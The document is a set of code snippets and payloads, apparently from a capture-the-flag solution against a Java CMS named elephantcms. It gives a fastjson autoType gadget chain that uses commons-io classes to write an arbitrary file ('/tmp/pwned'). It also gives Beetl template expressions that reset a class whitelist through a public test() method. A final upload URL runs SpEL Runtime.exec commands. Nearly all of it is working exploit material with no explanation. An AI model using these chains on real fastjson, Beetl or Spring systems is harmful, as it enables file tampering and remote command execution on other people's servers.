case ActionMap.UPLOAD_FILE:
    conf.put("isBase64", "false");
    conf.put("maxSize", this.jsonConfig.getLong("fileMaxSize"));
    conf.put("allowFiles", this.getArray("fileAllowFiles"));
    conf.put("fieldName", this.jsonConfig.getString("fileFieldName"));
    savePath = this.jsonConfig.getString("filePathFormat");
    break;

public String upload(HttpServletRequest request, Model model, HttpSession session, @RequestParam(value = "action",required = false) String action) throws URISyntaxException {
    String user=(String) session.getAttribute("user");
    if(!"admin".equals(user)){
        model.addAttribute("message","no way");
        return "upload";
    }
    if(action == null){
        model.addAttribute("message","传个文件吧");
        return "upload";
    }
    String json = new ActionEnter(request, UploadController.class.getResource("/").toURI().getPath()+rootPath).exec();
    String contextPath = request.getContextPath();
    // 文件处理
    String handlerOut = uploadService.uploadHandle(action, json, contextPath);
    model.addAttribute("message",handlerOut);
    return "upload";
}

protected String uploadFileHandler(String outJsonString, String contextPath) {
    State state = null;

    JSONObject json = JSON.parseObject(outJsonString);
    if (!"SUCCESS".equals(json.getString("state"))) {
        return "error";
    }
    json.put("author","squirt1e");

    return state == null ? outJsonString : state.toJSONString();
}

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/tmp/pwned",
        "encoding": "UTF-8",
        "append": false
      },
      "charset": "UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
    this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}

public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
    this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}

else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
    if (clazz == File.class) {
        if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
            throw new JSONException("file relative path not support.");
    } else {
        return new File(strVal);
    }

public class WhiteListNativeSecurityManager implements NativeSecurityManager {
    public static Pattern callPattern = null;
    public WhiteListNativeSecurityManager(){
        allow(Arrays.asList("venom.elephantcms"));
    }

    @Override
    public boolean permit(Object resourceId, Class c, Object target, String method) {
        if (c.isArray()) {
            return true;
        }
        String name = c.getName();
        String className = null;
        String pkgName = null;
        int i = name.lastIndexOf('.');
        if (i == -1) {
            // 无包名，肯定安全，允许调用
            return true;

        }

        return  callPattern.matcher(name).matches();

    }
    public static String test(String test){
        allow(Arrays.asList(test.split(",")));
        return "ok";
    }

    /**
     *  指定白名单，默认是java.util
     * @param calls ,调用，如 [java.util,java.io.File]
     */
    public static void allow(List<String> calls){
        StringBuilder sb = new StringBuilder();
        for(String pkg:calls){
            int c = pkg.lastIndexOf('.');
            boolean classCall = false;
            if(Character.isUpperCase(pkg.charAt(c+1))){
                classCall = true;
            }
            if(classCall){
                sb.append(pkg.replace(".","\\."));
            }else{
                sb.append(pkg.replace(".","\\.")).append("\\..*");
            }

            sb.append("|");
        }
        sb.setLength(sb.length()-1);
        callPattern = Pattern.compile(sb.toString());
    }
}

${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}

${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}

/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()